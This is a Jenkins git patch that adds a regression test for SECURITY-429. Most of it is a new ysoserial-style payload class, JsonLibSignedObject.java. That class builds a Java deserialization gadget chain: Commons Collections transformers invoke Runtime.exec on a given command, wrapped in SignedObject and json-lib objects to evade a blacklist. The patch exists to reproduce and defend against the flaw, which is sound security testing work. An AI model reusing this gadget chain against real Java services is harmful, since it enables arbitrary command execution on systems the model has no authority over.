From f237601afd750a0eaaf961e8120b08de238f2c3f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 16 Feb 2017 17:52:57 -0500 Subject: [PATCH] [SECURITY-429] Reproduced in test. --- .../jenkins/security/Security218CliTest.java | 8 + .../jenkins/security/security218/Payload.java | 1 + .../payloads/JsonLibSignedObject.java | 158 ++++++++++++++++++ 3 files changed, 167 insertions(+) create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 0d405fda0d5c..811db6de7900 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -170,6 +170,14 @@ public void ldap() throws Exception { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } + @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted") + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-429") + public void jsonLibSignedObject() throws Exception { + probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index a08186ba3d20..2784effadfc7 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -47,6 +47,7 @@ public enum Payload { Spring1(Spring1.class), Spring2(Spring2.class), Ldap(Ldap.class), + JsonLibSignedObject(JsonLibSignedObject.class), ; private final Class payloadClass; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java new file mode 100644 index 000000000000..febc8cd3396a --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java @@ -0,0 +1,158 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.io.ObjectStreamException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.concurrent.ConcurrentSkipListSet; +import java.util.concurrent.CopyOnWriteArraySet; +import net.sf.json.JSONArray; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.collection.AbstractCollectionDecorator; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.ReferenceMap; +import org.apache.commons.collections.set.ListOrderedSet; + +/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */ +public class JsonLibSignedObject implements ObjectPayload { + + @Override + public Object getObject(String cmd) throws Exception { + final String[] execArgs = new String[] { cmd }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + execArgs), new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array2 = (Object[]) f2.get(innimpl); + + Object node = array2[0]; + if (node == null) { + node = array2[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField( + "key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + + Signature signature = Signature.getInstance(privateKey.getAlgorithm()); + SignedObject payload = new SignedObject(map, privateKey, signature); + JSONArray array = new JSONArray(); + + array.add("asdf"); + + ListOrderedSet set = new ListOrderedSet(); + Field f1 = AbstractCollectionDecorator.class + .getDeclaredField("collection"); + f1.setAccessible(true); + f1.set(set, array); + + DummyComperator comp = new DummyComperator(); + ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); + csls.add(payload); + + CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); + CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); + + a1.add(set); + Container c = new Container(csls); + a1.add(c); + + a2.add(csls); + a2.add(set); + + ReferenceMap flat3map = new ReferenceMap(); + flat3map.put(new Container(a1), "asdf"); + flat3map.put(new Container(a2), "asdf"); + + return flat3map; + } + + static class Container implements Serializable { + + private Object o; + + public Container(Object o) { + this.o = o; + } + + private Object writeReplace() throws ObjectStreamException { + return o; + } + + } + + static class DummyComperator implements Comparator, Serializable { + + public int compare(Object arg0, Object arg1) { + // TODO Auto-generated method stub + return 0; + } + + private Object writeReplace() throws ObjectStreamException { + return null; + } + + } + +}